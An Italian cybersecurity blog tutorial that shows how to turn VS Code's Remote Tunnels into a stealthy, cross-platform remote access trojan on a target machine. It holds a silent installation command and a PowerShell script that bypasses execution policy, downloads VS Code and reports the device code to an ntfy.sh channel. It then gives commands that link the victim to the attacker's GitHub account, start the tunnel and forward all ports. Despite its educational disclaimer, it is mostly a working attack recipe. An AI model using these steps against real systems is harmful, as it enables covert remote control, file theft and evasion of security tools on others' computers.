Red Hot Cyber
La cybersecurity è condivisione. Riconosci il rischio, combattilo, condividi le tue esperienze ed incentiva gli altri a fare meglio di te.
Cerca
Red Hot Cyber Academy
Red Hot Cyber Academy

Weaponizing VSCode: Il Tuo Compagno ideale per Creare RAT Multipiattaforma

Redazione RHC : 8 Settembre 2023 07:37

A cura di Roberto Bindi

Un “FUD RAT” è un tipo di malware che è stato progettato per essere completamente indetectable da strumenti di sicurezza e antivirus e che fornisce funzionalità di controllo remoto su un dispositivo o un computer di destinazione. Il nome del malware è una combinazione dei seguenti due termini:

  1. FUD (Fully Undetectable): Questo acronimo indica che un software o un malware è completamente indetectable o “totalmente indistinguibile” dagli strumenti di sicurezza, come gli antivirus. In altre parole, un FUD malware è progettato per evitare la rilevazione e il riconoscimento da parte di software antivirus e altre soluzioni di sicurezza informatica.
  2. RAT (Remote Access Trojan): Un RAT è un tipo di malware progettato per consentire a un attaccante di accedere e controllare un computer o un dispositivo remoto senza il consenso o la conoscenza dell’utente. I RAT vengono spesso utilizzati per scopi malevoli, come il furto di dati, il monitoraggio delle attività dell’utente, l’esecuzione di comandi arbitrari e altro ancora.

Gli attaccanti spesso utilizzano FUD RAT per scopi malevoli, come il controllo di computer o dispositivi di vittime senza il loro consenso. È importante notare che l’uso di tali strumenti è illegale e viola la privacy e la sicurezza degli utenti.

CORSO NIS2 : Network and Information system 2
La direttiva NIS2 rappresenta una delle novità più importanti per la sicurezza informatica in Europa, imponendo nuovi obblighi alle aziende e alle infrastrutture critiche per migliorare la resilienza contro le cyber minacce. Con scadenze stringenti e penalità elevate per chi non si adegua, comprendere i requisiti della NIS2 è essenziale per garantire la compliance e proteggere la tua organizzazione.

Accedi All'Anteprima del Corso condotto dall'Avv. Andrea Capelli sulla nostra Academy e segui l'anteprima gratuita.
Per ulteriori informazioni, scrivici ad [email protected] oppure scrivici su Whatsapp al 379 163 8765 

Supporta RHC attraverso:


Ti piacciono gli articoli di Red Hot Cyber? Non aspettare oltre, iscriviti alla newsletter settimanale per non perdere nessun articolo.

In questo tutorial spiegheremo come utilizzare VSCode riportandoci agli albori di questi malware.

Nota1: questa funzionalità può essere utilizzata in modo dannoso, pertanto il tutorial riveste il solo scopo divulgativo e per consentire alle aziende di prendere le dovute accortezze per scongiurare tale minaccia;
Nota2: deve essere testato solo in sistemi di proprietà o macchine client
.

Weaponizing VSCode

Sei stanco di dover passare ore a sviluppare FUD RAT, solo per Sentinel One che lo segnala come positivo dopo un paio d’ore? Ti piacciono le GUI fantasiose e vuoi tornare ai primi anni ’90, quando i RAT avevano effettivamente GUI decenti?

Non temere! VSCode è qui per te!

Tutti conoscono VSCode e tutti ne hanno una sensazione molto positiva o molto negativa, ma oggi parleremo di come trasformarlo in un FUD e un RAT multipiattaforma davvero potente, completo di file manager con upload/download di file, shell, port forwarding e molto altro!

La cosa più ovvia e singolare di tutto questo è che, se fatto correttamente, gli unici IP mostrati nel Firewall della vittima sono di proprietà di Micro$oft.

Passaggio 0: di cosa abbiamo bisogno?

  • Tu e il computer di destinazione dovete avere accesso a Internet
  • Un account Github vuoto/non importante (la vittima potrebbe essere in grado di accedervi)

Passaggio 1: la distribuzione

Esistono diversi modi per implementarlo in un target, esamineremo principalmente l’implementazione di Windows ma vorrei sottolineare che tutte le tecniche descritte funzionano su Windows, Linux e OSx.

Vedremo due tecniche di distribuzione qui:

  • Un metodo canonico tramite le funzionalità di Windows;
  • un metodo più stealth tramite scripting.

Passaggio 1.A: distribuzione integrata

Installare vscode è semplice (come utente normale, non sono richiesti diritti di amministratore), basta eseguire:

winget install Microsoft.VisualStudioCode --accept-package-agreements --accept-source-agreements --silent --source winget

In questo modo, winget installerà automaticamente VSCode sotto: %localappdata%\Programs\Microsoft VS Code

Avvertenze: Installando l’app in questo modo, vscode apparirà nelle applicazioni installate come qualsiasi altra applicazione.

Passaggio 1.B: Scripting

Se non abbiamo accesso a Winget possiamo sempre scegliere di scaricarlo utilizzando PowerShell (di nuovo, non sono richiesti diritti di amministratore):

# powershell.exe -noprofile -executionpolicy bypass -file .\test.ps1
$bkname = "yourmagicalname"
$ProgressPreference = 'SilentlyContinue'
$ErrorActionPreference = 'SilentlyContinue'
 
function Ntfy {
    param (
        $message
    )
     
    $Request = @{
      Method = "POST"
      URI = "https://ntfy.sh/${bkname}"
      Body = $message
    }
    Invoke-RestMethod @Request | Out-Null
}
 
NTFY "Downloading vs.."
wget "https://code.visualstudio.com/sha/download?build=stable&os=win32-x64-archive" -OutFile "vs.zip"
NTFY "Downloading vc.."
wget "https://code.visualstudio.com/sha/download?build=stable&os=cli-win32-x64" -OutFile "vc.zip"
NTFY "Extracting vs.."
Remove-Item -Recurse -Force vs | Out-Null
Expand-Archive vs.zip -DestinationPath vs
NTFY "Extracting vc.."
Remove-Item -Recurse -Force vc | Out-Null
Expand-Archive vc.zip -DestinationPath vc
NTFY "Cleaning up.."
Remove-Item vs.zip
Remove-Item vc.zip
NTFY "Registering vs.."
.\vc\code.exe version use stable --install-dir ".\vs\" | Foreach-Object { NTFY "STDOUT> $_" }

Nel codice sopra possiamo notare che ntfy.sh viene utilizzato per tenerci aggiornati sull’avanzamento dell’installazione:

Questo sarà utile in seguito anche per recuperare il codice di abilitazione.

Passaggio 2: registrazione del client

Successivamente, dobbiamo collegare il nuovo dispositivo al nostro Github, in questo modo:

cd ${YOUR_VISUAL_STUDIO_CODE_CLI_PATH}
$bkname = "yourmagicalname"
code tunnel rename "${bkname}"

L’ultimo comando stamperà un codice dispositivo

Nota: se installato tramite Winget ( Passaggio 1.A ), il percorso della CLI è:

%localappdata%\Programs\Microsoft VS Code\bin\

Se installato manualmente ( Passaggio 1.B ), il percorso cli è.\vc\

Ora apri il browser e visita https://github.com/login/device, effettua il login (se necessario) e inserisci il codice del dispositivo recuperato sopra:

Ancora una volta, ricorda che stai condividendo MOLTE INFORMAZIONI:

Quindi assicurati di aver scelto l’account Github corretto e premi “Autorizza Visual-Studio Code”.

La console confermerà l’operazione e rilascerà il terminale.

Passaggio 3: avvio del tunnel

Avviare il tunnel è facile come eseguire:

.\code tunnel --accept-server-license-terms

Ora saremo in grado di raggiungere il sistema visitando https://vscode.dev/tunnel/yourmagicalname o collegandolo utilizzando l’estensione Remote Tunnel in vscode(è anche contenuta nel gruppo di estensioni Remote Development)

Al primo accesso la macchina scaricherà il server vscode appropriato e lo avvierà automaticamente. Dopo pochi secondi verremo accolti con un ambiente VSCode completamente funzionante tramite interfaccia web:

O client locale:

Passaggio 4: Port Forwarding

È possibile anche un port forwarding semplificato interagendo con la scheda “PORTS”:

Ma se abbiamo bisogno di qualcosa di più del semplice accesso ai servizi HTTP/HTTPS da remoto, possiamo utilizzare un altro strumento di madre Micro$oft:

Devtunnels (qui https://learn.microsoft.com/en-us/azure/developer/dev-tunnels/get-started?tabs=windows )

Devtunnels è stato creato appositamente per interagire con i tunnel ed esporrà tutte le client ports localmente. Primo passo: accedi a github

devtunnel user login -g

Ora possiamo elencare i tunnel attivi:

devtunnel list

E finalmente possiamo inoltrare tutte le porte remote eseguendo:

devtunnel connect ${YOUR_TUNNEL_ID}

Redazione
La redazione di Red Hot Cyber è composta da un insieme di persone fisiche e fonti anonime che collaborano attivamente fornendo informazioni in anteprima e news sulla sicurezza informatica e sull'informatica in generale.

Lista degli articoli

Articoli in evidenza

Skitnet: Il Malware che Sta Conquistando il Mondo del Ransomware

Gli esperti hanno lanciato l’allarme: i gruppi ransomware stanno utilizzando sempre più spesso il nuovo malware Skitnet (noto anche come Bossnet) per lo sfruttamento successivo delle ...

Bypass di Microsoft Defender mediante Defendnot: Analisi Tecnica e Strategie di Mitigazione

Nel panorama delle minacce odierne, Defendnot rappresenta un sofisticato malware in grado di disattivare Microsoft Defender sfruttando esclusivamente meccanismi legittimi di Windows. A differenza di a...

Falso Mito: Se uso una VPN, sono completamente al sicuro anche su reti WiFi Aperte e non sicure

Molti credono che l’utilizzo di una VPN garantisca una protezione totale durante la navigazione, anche su reti WiFi totalmente aperte e non sicure. Sebbene le VPN siano strumenti efficaci per c...

In Cina il CNVD premia i migliori ricercatori di sicurezza e la collaborazione tra istituzioni e aziende

Durante una conferenza nazionale dedicata alla sicurezza informatica, sono stati ufficialmente premiati enti, aziende e professionisti che nel 2024 hanno dato un contributo significativo al National I...

Quando l’MFA non basta! Abbiamo Violato il Login Multi-Fattore Per Capire Come Difenderci Meglio

Nel mondo della cybersecurity esiste una verità scomoda quanto inevitabile: per difendere davvero qualcosa, bisogna sapere come violarlo. L’autenticazione multi-fattore è una delle co...